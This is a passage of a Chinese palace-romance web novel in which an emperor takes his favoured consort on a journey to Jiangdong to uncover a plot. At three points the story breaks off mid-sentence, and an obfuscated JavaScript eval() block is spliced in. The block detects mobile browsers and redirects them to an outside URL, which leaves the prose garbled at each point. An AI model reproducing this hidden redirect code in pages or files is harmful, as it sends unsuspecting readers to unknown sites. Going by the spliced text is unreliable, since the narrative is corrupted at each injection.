而这一切还只是个开始。 魏鄞修临走之前,给朝悦宫赐下诸多赏赐,彻底对外坐实了‘福星挡灾’一说。 太后娘娘那边,也派人前来慰问,流水般的补品送过来,皆是灵芝鹿茸等珍品。 祝妃的风头无人能及,后宫仅此一位。 朝悦宫上下喜气洋洋的,主子得宠,她们自然高兴。 大概唯一笑不出来的就焉闻玉自己,她太打眼了,难道就没办法了么? ******* 如此过了三日,太后娘娘亲自来了。 听说焉闻玉身子痊愈,过来瞧瞧,顺便说说话。 太后是无事不登三宝殿。 她对焉闻玉不见得多么满意,但这是儿子亲口认下的福星,她当然不会拆台。 此番过来,只为了选妃一事。 “皇帝年幼登基,励精图治,不惜耽误自己的终身大事。”太后没少为此头疼,道:“哀家不能由着他了,皇室血脉急需开枝散叶。” 焉闻玉陪坐在下首,安静听着她说。 太后接着道:“你的身子还需静养,才能更好孕育子嗣,哀家意欲挑选秀女入宫,替你分忧。” 焉闻玉瞧着太后的神色,没想到魏鄞修把自己的亲娘都给瞒住了。 太后对福星一说深信不疑,才会特意过来安抚她,将纳妃一事提前告知。 这是生怕她介意么? 焉闻玉垂眸思索,后宫人多一点,兴许就不会只盯着她一个了,而且天子向来三宫六院,都是迟早的事儿…… 她浅浅一颔首,道:“臣妾明白太后所忧,陛下英武之年,膝下空空,叫人于心何忍。” “你这孩子,果真是识大体,”太后对她的说辞表示满意,笑了笑:“你且放心,绝不会有人越过你去。” 除了皇后,哪个能一进宫就坐上妃位与她比肩?好歹也要生养了龙嗣之后再提升。 “多谢太后。” 焉闻玉一脸乖巧,实则没有把对方的允诺当回事,面上顺从地让太后着手安排选妃,她没有意见。 太后早就想充盈后宫了,当初皇帝出事,她最后悔的就是没能给儿子娶媳妇。 不说留下一儿半女,世间连个供奉香火的未亡人都没有,何其凄冷! 皇后人选草率不得,秀女却是可以尽早尽多。 太后片刻都不想等,立即返回景明宫,吩咐房嬷嬷去搜罗画卷。 然而,这一颗火热的慈母心肠,只蹦跶了一天就被兜头浇下一盆凉水。 魏鄞修察觉太后的动向,面无表情的驳了回去:“母后不必忙活,朕要去一趟江东,归期未定。” “什么!”太后为之震惊:“发生了何事,要你亲自前去?!” 这未免也太突然了。 魏鄞修道:“江东报了水患,又横生瘟疫,请求朝廷赈灾。” “情况严重么?”太后依然不解:“文武百官那么多人,竟要皇帝亲力亲为?” 传出去岂不是笑话。 她下意识想要阻止此事,大晟国土广阔,哪能因为一个灾情就要皇帝出马,京城朝政又该如何? 魏鄞修并不多做解释,只道:“泗州郡守毕彦常是娄龙山的女婿,朕还未见过此人。” 太后闻言,不禁皱起眉头,娄龙山是先帝亲封的大将军,手握五十万兵马,这么多年老将,赫赫威名在外。 “此二人有何不妥?” 魏鄞修不答。 前世,他死后是勤王登基,皇位还没坐稳几年,大晟就发生了内乱,邻国趁机发兵,百姓民不聊生。 江东崛起一支威虎之师,有兵有粮,异常迅猛。 魏鄞修所知所见的片段并不连贯,无法清楚了解其中来龙去脉,但他稍微一留心,就能抓到藏匿暗处的踪迹。 夏日多雨,江东上报了水患和瘟疫,请求划拨一笔灾银。 本就是富庶之地,鱼米之乡,不仅连着免去两年税收,还要拿朝廷一笔银两。 倘若灾情不属实,这一来一去的差额,两年足以囤下可观的钱财。 就时间线而言还有几年,魏鄞修不相信只是单纯的巧合。 江东以泗州为大,偏偏郡守是毕彦常,娄龙山的女婿。 此人曾经也是名噪一时,先帝在位时的状元郎,被娄龙山选做女婿,风风光光大办婚宴,成就一桩佳话。 而后外派离京,一去就是十几年没回来。 这期间毕彦常任职的地方有好几处,期满调升,一步步做到泗州郡守。 升迁之路顺风顺水,但又没有太过冒尖扎眼。 魏鄞修决定去会一会他。 “哀家不同意。” 这山高路远的,皇帝才刚脱险复生没多久,就要到她看不着的地方去了。 当然,她能够理解朝堂大事的慎重考量,道:“事情可以派人去查,十人不够那就二十人,养着那么多,难道没有一个能用吗?” 后宫不得干政,她不好说娄龙山与毕彦常如何,皇帝也不会平白无故留意到他俩,要做什么她不会阻拦,只是不能看他亲自离京。 魏鄞修却是非去不可。 任何动乱,都不是一己之力足以挑起的,也不是十天半个月内酝酿,除了毕彦常,江东还有谁呢? 背后之人是否他疑心的那一个,一探便知。 太后劝阻不得,一阵心肝肉疼,又听他道:“朕带祝妃一同前往。” “她?”太后眼见着势必成行,叹口气道:“你带上萸蔓,她细致周到,定能照顾好你。” “表妹大病初愈,不宜舟车劳顿。” “祝妃不也才养好没几日?”太后不勉强他带上萸蔓,只是提醒道:“萸蔓为着你的事伤神,病了好大一场,你没去看望,该有点其他表示。” 魏鄞修神色淡淡:“此事容后再议。” 太后便是想早点把侄女接进宫,这会儿也急不得,一想到江东山高路远,人还没出皇城就牵挂上了。 怎就要亲自跑一趟呢…… 魏鄞修的意图,还遭遇了朝堂诸位大臣的极力反对。 御驾出行非同小可,疟疾横生,万一有个好歹,谁担待得起后果? 眼下最重要的是立后,早日册封太子,江山社稷才得以安稳。 若还像之前,帝王驾崩,几位王爷争相上位,迟早乱套了。 魏鄞修没有采纳这些谏言,他要去江东。 这在一些臣子看来如同无理取闹,户部老尚书皱眉道:“历年来何处无水患,陛下执意前往,还带着祝妃?” 魏鄞修面无表情看着他。 在这节骨眼提一嘴祝妃,想传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152725|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达什么呢?带着宠妃游山玩水的昏庸帝王? 户部尚书慷慨激昂,道:“陛下如此一意孤行,恐有刚愎自用之嫌,非明君所为!” “明君?”魏鄞修高坐龙椅,不为所动:“朕砍了皇叔的胳膊,不是早已背负骂名了么?” 一句话,使得朝堂上气氛隐隐的陷入剑拔弩张,自他复生后,经常如此。 外头没什么好话,说他冷血骂他无情,六亲不认。 委婉和迂回确实能顾全名声,但是不能立即促成他要办的事。 户部尚书高举笏板,全然一副死谏的架势:“陛下明知不妥,仍不悔改,臣若不竭力阻止,枉为人臣!” 他一呼百应,又有好几个跟着跪了下去。 他们姿态放低了,气焰却高高拔起,一种无声的逼迫。 魏鄞修并未动怒,也不意外,看着底下这几个状若忠肝义胆的臣子,“朕倒是好奇,江东有何去不得。” “训德,拿剑来。”他的嘴角缓缓挽起一抹没有笑意的弧度:“朕意已决,违令者,削去左耳。” “是!”训德躬身捧上宝剑。 已经不是第一次在朝堂上见血了,魏鄞修言出必行。 户部尚书脸色一白,两手发抖,暴君,暴君! 妖妃,妖妃! ******** 焉闻玉尚且不知,自己正在被贯上骂名。 当晚圣上口谕传到朝悦宫,她才得知陛下要带她一起去江东,叫她好一阵意外。 魏鄞修离京定是有正事在身,带上她做什么? ……此行会有危险么? 皇帝发话,无敢不从,朝悦宫上下忙着收拾行囊。 出远门要筹备的东西不少,又没有太充裕的时间,就怕有所疏漏。 听兰弄梅二人万分纠结的挑选衣裙首饰,出门在外不宜露富,上等料子和太过精美的珠宝不能携带太多…… 一回头,便见主子倚在窗前,神思飘忽。 这段时日相处下来,听兰差不多摸清了这位娘娘的脾性。 善良柔软的小姑娘,安静之余总是眉带轻愁,帝王独一份的厚爱盛宠,也不见个高兴模样。 听兰忍不住上前,出声询问:“娘娘有何心事?” 能跟随陛下离京,绝对是喜事一桩,否则一别几个月,只怕陛下身边有了新欢。 多少人削尖了脑袋想要靠近,却无法企及。 世间大多的情分,皆是日夜相对积攒起来的,后宫尤其如此,久不相见就会被遗忘。 “听兰,”焉闻玉回身看她,一手捂着心口:“我不舒服,我不能去江东了……” 她思前想后,决定装病。 听兰神色一变,连忙过来搀扶,前不久才发生下毒事件,多吓人啊! 她扬声让弄梅去禀报陛下,传唤太医,一边叠声问道:“娘娘你怎么了?” 焉闻玉说谎骗人,垂着脑袋不肯抬头,“我、我胸闷气堵,呼吸不畅……” 丁嬷嬷死后,四个宫女伺候的非常细致,尤其在膳食方面,焉闻玉滋补了几天,早已康健如初。 这会儿是全靠演技。 “娘娘别怕,太医马上赶来……”听兰一脸焦急,生怕出了什么事。 重昭殿距离近,魏鄞修来的颇为迅速,比太医还快。 颀长的身姿,迈着大步入内,来到焉闻玉榻前。 她刚被搀扶着躺下,眼瞅着魏鄞修施施然进来,顿时一阵心慌,每一根睫毛都在颤抖。 这可是欺君之罪…… 魏鄞修目力过人,见状步伐微微一顿。 她太紧张了,不仅不敢看她,还下意识躲避他的视线,简直漏洞百出。 很好,连他也敢骗了,这个小骗子。 “爱妃何处不妥?”他撩袍坐下,低头凝视她。 听兰行礼之后,立即上报了焉闻玉的‘症状’。 魏鄞修听着,冷冷一抬眼皮:“哪里闷?必要时候,朕略通一点岐黄之术。” 11.坦诚 “我……” 焉闻玉是装病新手,经验不足,总感觉在魏鄞修的目光下似乎无所遁形。 但如今必须把这场戏唱完。 她蜷缩在榻上,哼哼唧唧的:“臣妾呼吸不畅,有点难受……” 魏鄞修伸手朝她探去,焉闻玉下意识往后躲了躲,然后就被捉住了。 被圈住了手腕无法往后缩,他温热的指腹触及她腕间细腻的肌肤,形成惊人的大小差异。 魏鄞修体格高大,指骨也粗长,感觉稍微用力点,就能把掌中这截细白的腕子给折断了。 “陛下?”肢体接触让焉闻玉更紧张了,心虚到几乎冒汗,于她而言这是陌生的相处方式。 这辈子何曾跟男子手碰手过? 魏鄞修挥退了听兰等人,握着她的手腕,缓缓一抬冷白色眼皮:“需要朕替你顺顺气?” 怎么顺气? 焉闻玉睁圆了眼睛,来回摇头:“不敢劳烦陛下……” “举手之劳,爱妃何须客气。”魏鄞修说着,另一只手朝她圆鼓鼓的胸口处贴近。 焉闻玉顿时慌了,磕磕巴巴道:“不行,不行!” 他该不会是要给她揉揉顺气? 早知如此,方才就该说头疼了! 焉闻玉吓坏了,懊悔得不行,魏鄞修望着她瞬间泛红的眼皮,似笑非笑:“怎么,又要哭了?” 她在这方面,属实是天赋异禀,眼角抹了胭脂一样,糜红艳色,眸光潋滟。 焉闻玉自己不曾意识到,此刻的她,像一块可口的小点心。 “臣妾没哭……”她一面否认,一面心急。 正不知如何是好之际,魏鄞修松开了对她的桎梏。 他敛去眼角眉梢的那一丝笑意,仿佛昙花一现,恢复淡漠神色,道:“仅此一次,下不为例。” “什么?”焉闻玉一时间不解其意。 魏鄞修幽深的黑眸看着她:“你可知欺君之罪该当如何?” 她倏然一惊,才发现自己早就暴露了,他知道她在装病! “我……”焉闻玉浑身轻颤起来,既有恐惧,也有无措。 她的谎言被当场戳破了。 “你不想去江东?”魏鄞修倾身靠近,低沉的嗓音响在她耳畔:“还是不愿待在朕身边?” 焉闻玉不知道他为何这样发问,傻子都懂得,有些话是禁忌。 她把脑袋摇成拨浪鼓,否认道:“没有没有,臣妾绝无此意。” 魏鄞修并无兴趣探寻她的真实意愿,只是告诉她:“你别无选择。” 入了局,便是局中人。 即使他放她离开,脱离了皇城,她也未必能有个好去处。 魏鄞修早就派人去查了焉闻玉,嘉邑县位于京城边缘处,一来一回两天时间足以查个彻底。 她不是刘家人,但自幼在深宅大院里,已经被养成一株娇花。 一朝回到山野乡间,有着惊人美貌,却没有配备呵护它的能耐,结果不难预见。 焉家人没去接她,因为焉淮山被打折了腿脚卧病在床,正是刘静花所为。 此女能对养父下狠手,已非睚眦必报可言,而是心胸狭窄。 她不仅满怀怨恨,还会出手报复,倘若焉闻玉没有被卖掉,也别想全须全尾地安然归家。 ‘别无选择’四个字打在焉闻玉心头,叫她动弹不得。 不是她想被掉包的,也不是她贪图刘静花的富贵人生,皇城中宠妃的身份更不是她所求…… 可是她的意愿从来都无关紧要,改变不了任何。 焉闻玉撑着从床上爬起,跪趴在魏鄞修跟前,低声道:“臣妾知错,还请陛下恕罪。” 她以为能骗过他,可以不去江东,因为她害怕。 然而害怕并没有用,一个不听话的棋子,兴许死得更早…… “起来,看着朕。” 魏鄞修低头只能看见她乌黑的发顶。 焉闻玉没有动作,她的双眼早已水雾弥漫,模糊不堪。 她不想被发现哭鼻子,魏鄞修却似有所料,他蹲下来,大掌一把托起她精巧的下颚:“朕不喜谎言,也不喜泪水。” “我没哭,我没……”焉闻玉拼命把泪意给逼回去,可惜收效甚微。 如同断了线的珍珠,一颗一颗滚落,晶莹剔透,打湿她根根分明的睫毛。 魏鄞修见状眉头微蹙,大拇指指腹抚上她软嫩的面颊,沉声问道:“你在怕什么?” 焉闻玉说不出话来,她怕死,怕疼,还怕举目无亲的孤独。 没有人与她站在一边,也没人会听她诉说。 魏鄞修不需要她的回答,以他的心智,这只小羊羔如同一张白纸。 “没有朕的同意,谁也无法取走你的性命。” 不必猜测,他就知道她有所察觉,并没有被那些赏赐给迷了眼。 所以在旁人欣喜之际,兀自陷入焦虑与恐慌中。 焉闻玉一怔,愣愣的抬头看他。 “朕既要用你,岂会轻易让你出事。”魏鄞修直言不讳,道:“丁嬷嬷不曾下毒,是朕做局除掉她。” “什么?”焉闻玉彻底傻眼了。 魏鄞修面无表情的望着她:“你中的毒并无危险,朕一眼发现你在装病。” 难怪她除了一开始肚子痛之后,浑身无力躺两天就恢复了元气,瞧着严重,但康复起来特别快。 “陛下为何如此对付丁嬷嬷?”焉闻玉大为不解。 九五至尊,要处决一个宫人只需要一句话,可他偏要拉着她上演这么一场戏。 “此事你不必知晓。”魏鄞修拒绝透露。 事实上,丁嬷嬷能够潜伏多年,毫无破绽,她就不会随便冒头。 前世他死后许多年,才看到她背叛太后的画面,也是因为这个画面,让他对幕后之人的判断出现了偏差。 朝中除了勤王,他最怀疑珞王,可珞王与他一母同胞,即便觊觎皇位,又何须对太后动手? 又有谁会早早在太后身边埋下一颗棋子? 魏鄞修不欲打草惊蛇,又不想留着丁嬷嬷横生枝节,这才借故除去。 焉闻玉不清楚他的顾忌与布局,这是两人头一回开诚布公的交谈。 他不曾下达任何指示,就将她高高捧起,推了出去。 ‘福星’的下场会如何? “陛下,我能活着么?”这是她最关心的事情。 魏鄞修的回答也很干脆:“朕保你不死。” 如此,她的心终于稍稍落了地。 从一开始的茫然,到后来的猜测,充满了太多的不确定性与忐忑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157240|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有他一句准话,胜过千言万语,驱散迷雾。 焉闻玉并不觉得他的保证有多么安全,但至少,她清楚自己在做什么,而不是稀里糊涂的做那枉死鬼。 ******* 钱太医没能入内就被打发了回去,焉闻玉也不装病了,送走魏鄞修,与听兰几人一块收拾笼箱。 此番简装出行,她只能带一个宫女,华丽的衣饰都不适宜。 焉闻玉的心情轻松了些许,不仅有闲暇考虑行囊,还对宫外之行生出了点兴致。 她不曾出过远门,京城于她而言就很辽阔,周遭几个县都没走遍。 京城之外又是何种风景? 听兰见她不再愁眉苦脸,只当陛下把人给哄好了,跟着松一口气,商量着让染菊随行。 四个宫女,染菊的厨艺最好,还有一手泡茶的好手艺。 出门在外,妆容打扮是其次,就怕舟车劳顿食不对味,一圈下来清减了。 焉闻玉点头同意,她对茶饭不挑,驿站食肆都吃得,就怕魏鄞修自己不带人然后指着她去端茶送水,她可做不好…… “多带点银两。” 听兰掩唇一笑:“娘娘跟着陛下,尽管放心吧。” 焉闻玉摇头道:“难得有花钱的机会,多带点。” 谁知道她还有多少以后,守着那么多赏赐又带不走。 魏鄞修用半天时间妥善安排好朝堂事宜,有吕相爷令恩侯几位重臣,并一个太后镇着,出不了什么事。 背后之人狼子野心,花费那么多年筹谋,就是因为不敢在明面上行动。 此次重点还是在江东那边。 魏鄞修明面上派了亲卫指挥使领队沿途探路,暗地里则另有安排。 不怕刺客拦路,就怕对方按兵不动,不声不响,毫无痕迹。 出发这日,送行的人乌泱泱一群,文筝公主珞王等人都来了。 太后忧心忡忡,嘱咐了焉闻玉不少,不外乎要照顾好皇帝。 她牵挂之事有很多,子嗣问题最为沉甸甸,压在心头寝食难安。 若是祝妃跟着去,能尽快怀胎,那也不错。 表姑娘王萸蔓也来了,她是令恩侯府上四姑娘,大病初愈,纤弱清瘦。 焉闻玉注意到她,是因为她正在盯着她看。 心中有情,才会格外关注男子身旁的女子,因为在乎。 焉闻玉无意介入旁人的故事当中,只当自己睁眼瞎,什么都不知道。 偏偏上车时,魏鄞修纡尊降贵地伸出手来,搀扶她一把。 焉闻玉抽手不及,推也推不掉,谁能有这人心机深沉,人前秀恩爱的举动信手拈来。 王萸蔓大抵是伤心得很,两眼不错的看着他们,神情低落。 魏鄞修的大掌钳子似的,稳稳托住焉闻玉小臂,把人拉进车里。 “挣扎什么?”他侧目望来。 焉闻玉根本挣不开,抿唇道:“陛下弄疼我了。” 夏日衣衫单薄,稍稍掀起丝袖,雪白肌肤上微红的指印赫然可见。 魏鄞修松了手,半垂眼帘:“娇气。” 他都没用力就留了痕迹,她的肤色太白了…… 察觉到他的视线,焉闻玉心头微跳,连忙抚平了衣袖,丁点肌肤都不露,把双手藏得严严实实。 12.出行 马车吱吱悠悠上路,出了皇城,驶过闹市,一路离京远去。 焉闻玉放下一层纱帐,隔着朦胧的纱帘,窥视车窗外的景致。 街道大同小异,一晃而过,总有那么个拐角,与她记忆中的场景大同小异。 说来有些悲哀,她想家的时候,全是刘家的模样,爹娘也是刘家那两个。 孟氏就是她自幼认定的母亲,而父亲,虽说心里更疼庶兄,但也有过教导她读书认字的短暂时光。 至于焉家是何模样,不曾见过,凭空幻想也是空白。 焉闻玉早就不伤心了,刚离巢的雏鸟才会满心依赖,时间足以习惯一切。 她能够自己走一条未知的道路,好好活下去。 焉闻玉收回目光,看向身侧的魏鄞修。 冷俊的帝王,死而复生,他历经这等离奇之事,更清楚自己想要施展什么。 为达目的不折手段么?朝中臣子他都能挥剑相向。 当一个人不介意外界评价时,许多事物都将捆缚不住他。 而她,如此微不足道的分量,是他众多棋子之一,用起来当然毫无顾忌。 “你在看什么。” 魏鄞修扭头望来,这个爱哭鬼,不仅不怕他了,还敢明目张胆的盯着他看。 焉闻玉已经接受了自己棋子的身份,凑上去小声道:“陛下有何指示不妨明说,臣妾定当配合。” 细细的嗓音满是乖巧意味,她圆圆的水润双眸近在咫尺。 魏鄞修挑眉反问:“你要配合朕?” 焉闻玉认真一点头,可别像中毒那次,把她吓坏了,也没个心理准备。 这回他特意带上她,也是出于某种目的吧? 正这么想着,便听魏鄞修问道:“你觉得朕要你做什么?” 焉闻玉老实摇头:“臣妾不知。” “那你如何配合?” “陛下怎的问我?” 两人大眼瞪小眼,魏鄞修面无表情道:“你什么都不必做。” “可是……”焉闻玉有自己的想法。 他专注回手中卷轴,头也不抬道:“祝妃只需与朕恩爱两不疑便可。” “……”焉闻玉轻咬唇瓣,忍不住问道:“要做到何种程度?” 他们相识至今,已经有过几次肢体接触,显然授受不亲那一套不适用。 况且在性命安危等大事面前,男女大防显得如此无足轻重。 焉闻玉没有在这上头留心太多。 魏鄞修似乎也没有考虑过这些,他倏地把移开的目光又挪回她脸上,若有所思。 这张娇俏容颜,明眸善睐,扉颜腻理。 他道:“上车时朕托了你的手,你想推开朕。” 焉闻玉完全是下意识的反应,众目睽睽之下与男子拉拉扯扯…… 魏鄞修朝她伸手,温热的指腹抚上她软糯面颊,“你是朕的女人,需要朕提醒你?” 堪称轻佻的举动,在魏鄞修做来却没有一丝逗弄意味,他面沉如水,波澜不兴,仿佛面对的不是一个活色生香大美人,而是一块石头。 他只是在告知她,分寸或者界限不能用在他身上,他做到何种程度都使得。 焉闻玉有那么一瞬被他理直气壮的气势给镇住了,呆愣了一下,才往后闪躲。 她想解救自己的脸颊,别开他的大手,然而魏鄞修不容挣脱,揪着她软乎的脸蛋轻轻一捏,触感滑腻。 “记住了么?” 低沉的嗓音,淡漠的眉眼,每一样看着都不好惹,焉闻玉心里不服气,嘴上却是认怂:“……臣妾知道了。” 她没想到费尽心机发起一场谈话,会是这样收场。 她是他的棋子,是他挂给旁人看的幌子,也可以说是那个竖起的靶子,没想到居然还有‘女人’这个身份? 焉闻玉抿着小嘴,有意见也不敢说,谁让人家是皇帝。 地位悬殊,哪怕她想极力争取一点点主动权,实则什么都捞不到。 魏鄞修根本不会跟她商量任何事情,即便是要用着她的时候。 他也没有必要去过问一个工具的想法,有这功夫不如多看几本折子。 焉闻玉能够理解,不甘心又无可奈何。 ******* 晚间一行人抵达驿站,焉闻玉和魏鄞修一同住进最宽敞的那间,内置有寝室与起居室,还有一个小书房,一应俱全。 魏鄞修先去书房处理公务,才刚离京,倒没有紧急的奏折需要批阅。 他在查看飞鸽传书,监视朝臣动向,第一时间掌控在手里。 这是他醒来后最迫切的一件事,建立一个属于自己的情报网,获取多方讯息。 如今只在京城初具雏形,让他得以看清局势,防患于未然。 物以类聚人以群分,党派从来都难以避免,而他作为掌权者,若未能平衡彼此,在某一天造成内乱,便是他的失职。 此时,文武百官对于江东之行还抱有疑惑,不过他们很快找到了一条自认为合理的原因。 魏鄞修说焉闻玉是福星,实则没有几个人相信,毕竟太过虚无缥缈。 他们一边观望一边猜测,认为祝妃其实是陛下的‘药引子’。 之前因为急症暴毙是事实,许多病症就连御医也瞧不出个准确说法,死亡是多人有目共睹的。 太后悲痛欲绝,悄悄给安排了冥婚,丧子之痛,为人父母者能够理解。 偏偏就那么神奇,冲喜成功了,陛下死而复苏,震惊朝野。 那么有没有可能,这个祝妃,其实是一味‘药’?毕竟皇帝醒来后又是针灸又是药浴,出行还把御医给捎带上了。 御医是皇帝心腹,没人能从他嘴里探听到任何,也不敢明目张胆去打听。 一切都是不可言说的秘密。 之后的事态发展就更耐人寻味了,陛下竟公然宣称祝妃是福星,给足了排场与荣宠。 似乎刻意往玄学方向去引导,是否在隐瞒什么呢? 魏鄞修面无表情的看完纸条,将它递给下首的晗啸。 晗啸迅速浏览一遍,忍不住笑道:“陛下英明。” 人往往更愿意相信自己寻找出来的‘真相’,他们不觉得陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175113|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所言属实,会愈加认定推测出来的药引子一说。 就连江东之行都能被合理化,只需要稍微放出风声,泗州有民间神医的踪迹。 幕后之人便会以为,陛下掩人耳目去江东,其实是为了寻医。 这段时日,重昭殿的汤药一直没断过,但魏鄞修从不在人前展露身体欠佳的一面。 这种种都将成为‘佐证’,让他们更为笃定。 “继续盯着他们。”魏鄞修道:“加派人手保护祝妃。” 晗啸闻言神情一肃:“陛下的意思是,他们会立即对祝妃动手?” 倘若真是药引子,当然尽早除去为好,比起刺杀帝王的难度要降低不少。 离京后机会更多,幕后之人不会错过的。 魏鄞修早有准备,晗啸就是他埋在暗处的一步棋,此行不仅以焉闻玉做饵,去江东解决隐患,还要趁机把情报网给铺开。 他需要尽快掌握大晟更多的准确信息,山高皇帝远,有一些人,或许早已另投他主。 遣退晗啸之前,魏鄞修鬼使神差的,又添了一句吩咐:“尽量别让她受伤。” 白日在马车上,焉闻玉的未尽之言,他知道是什么意思。 她那样胆小,肯定是害怕了,想要得到庇护又不敢直说……有几分可怜。 魏鄞修的恻隐之心极其有限,他不会给予多余的保证,也不会使计划出现任何偏差。 该进行的步骤没有更改可能。 “属下遵旨。” 晗啸统管一群暗卫,最擅长探查与保护,他自会安排好人手。 …… ………… 魏鄞修忙完回屋时,焉闻玉已经在打瞌睡了。 和帝王同寝,她不仅不能自顾自睡下,得守着给他宽衣解带,还要分出一半的床铺。 驿站的床不大,比不上皇宫里宽敞,以魏鄞修的高大体格,自己就能占去一大半。 焉闻玉一边犯愁一边犯困,小脑袋一点一点的,如同小鸡啄米。 昏黄油灯下,她面如白瓷,乌发披垂,身段被光影勾勒出柔软的妙曼曲线。 身上的寝衣穿得严严实实,还在外头罩上一件中衣,也不嫌热。 魏鄞修不期然想着,若换做其他女子,设身处地,也会像她一样与他保持距离么? 他长开双臂,焉闻玉在他身前低着脑袋,解下腰封玉佩,期间没碰着他丁点。 像只小蜜蜂,围绕他左右哼哧哼哧一阵忙活。 个头矮的要给大高个更衣,颇为费劲。 焉闻玉好不容易把人安置好,可以躺下睡觉,谁知这位爷躺到了外侧。 “陛下,你该睡里面。”她出言提醒。 原先焉闻玉不知道,女子被规定了要睡外侧,说是方便起夜伺候夫君。 魏鄞修一动不动:“就这样睡。” 焉闻玉听了这话也没纠结,只当他喜欢睡外侧,不过要往上爬时却犯了难。 这人那么长一条,从床头横到床尾,堵了个严严实实,哪有缝隙给她过去? 她……可以从皇帝身上跨过去么? 13.竹林 魏鄞修仿佛没瞧见她的为难,径自闭目养神。 焉闻玉磨蹭到他腿旁,屈膝往上爬,一手提着裙摆,偷眼打量他的神色,趁其不备,抬脚迈了过去。 几乎是连滚带爬的钻进里侧,动作自然称不上雅观,焉闻玉心里怀疑他是故意的。 好在总算是安然躺下,今日在马车上待了大半天,早就累了。 两人不是初次同床共枕,正所谓一回生二回熟,焉闻玉的心情趋于平缓,没有以前那般紧张,没一会儿就迷糊了意识。 她入睡很快,睡前还是拘束的紧绷姿态,因为床榻窄小,怕不小心碰着魏鄞修的肩膀,睡着后全然没了顾忌,一个翻身就滚入他怀里。 “……”魏鄞修缓缓睁开眼。 稍微侧过脸,颈畔就是她轻缓的呼吸声,吐气如兰。 第二天,焉闻玉醒了个大早。 她是率先醒的那一个,不能算自然醒,因为感觉到不适,才硬生生从梦中挣脱。 焉闻玉一睁眼,视野内是一堵结实的胸膛,肌肉隆起,近在咫尺。 一晚上过去,也不知道她怎么睡的,整个人窝在魏鄞修怀里,就趴在他身上! 两人密不可分,她圆鼓鼓的雪团抵在他身前,都给压扁了! 焉闻玉吓了一大跳,一口气差点没缓过来,发顶险些撞上魏鄞修的下颚,幸亏没有多大动作…… 她又是着急又是心虚,生怕把这人给吵醒了,偏偏此刻难以立即抽身离开。 也不知维持拥抱的姿势多久了,反正她半边身子都躺麻了,稍一动弹,宛如千万只蚂蚁在啃咬。 一场无声的酷刑。 焉闻玉揪着小眉头,努力朝后挪动,她咬紧牙关才没有喊出声来,太难受了。 她怎会如此睡觉?即便床位不宽敞,也不能这般与魏鄞修紧密相贴…… 焉闻玉一心快些划清界限当做无事发生,没留意枕边人何时睁开的眼睛。 魏鄞修冷眼旁观她的狼狈,然后一抬手,搭上那截蜿蜒后腰,轻而易举的化解了她所有努力。 “唔!” 焉闻玉撑起又摔回,身上的小蚂蚁仿佛在集体奔跑,顿时叫她瘫了半边,不敢再动。 “难受?”魏鄞修的腰腹微一使力,揽着她坐起,道:“你自己睡觉不老实,怨不得朕。” “你……你别动我呜呜……”焉闻玉的泪花都冒出来了,以一个别扭的姿势僵住不动。 半边的手脚麻痹,随意动作痛苦难耐,她需要缓缓。 魏鄞修垂首望着她泛红的眼角,以往听到‘女人是水做的’他会嗤之以鼻,如今却不得不信。 她动不动就掉泪珠,却不是在哭泣,身体自顾自就冒出了水花。 雾气蒙蒙,眸光潋滟。 他终于大发慈悲,出手找准她身上两处穴位,轻轻揉捏几下,让焉闻玉见识一番见效奇快的缓解方法。 她直接愣住了,半是惊疑半是敬佩地看着魏鄞修,没想到他竟有这么一手。 识得人体穴位倒不稀奇,君子六艺文武双全,可是他知道怎么对付腿麻。 想来是生在皇家,自幼作为储君每天有做不完的功课,有着丰富的腿麻经验。 焉闻玉心里肃然起敬,乖乖道了谢:“多谢陛下出手相助。” 魏鄞修不知这小脑袋瓜想了些什么,径自起身梳洗。 要赶往江东,虽不至于日夜兼程,但清早是不能多耽搁的。 时辰到了便要出发,焉闻玉纵使没休息好,也不敢继续磨磨蹭蹭。 ******* 车马行驶了三日,进入延绵起伏的菱川山脉,一片广袤密林之中。 曲折的官道沿着一条河流蜿蜒,在夹岸的茂密树丛中时隐时现。 此路傍水而建,一侧绿木成荫,一侧碧波粼粼,风光野趣极佳。 “这条河叫踩鱼河。”焉闻玉倚在车窗前,翻过手中书册的一页。 她闲来无事,偶尔会在车上看书,每到一个地方就寻找对应的游志,颇有兴味。 传说曾经有个渔夫,日日打渔为生,某日捕捞到一尾金鱼,能口吐人言。 金鱼向渔夫哭诉自己家中有年迈双亲,不得不出来觅食,以至于有来无回,悲哉哀哉。 渔夫既惊叹又动容,不仅放归金鱼,还就此改了营生,不再打渔。 没多久,渔夫的父亲摔断了腿血流不止,寻医时难以渡河之际,金鱼现身,唤来成千上万的鱼儿以身造桥,让渔夫踩着过河,寻来郎中救回父亲。 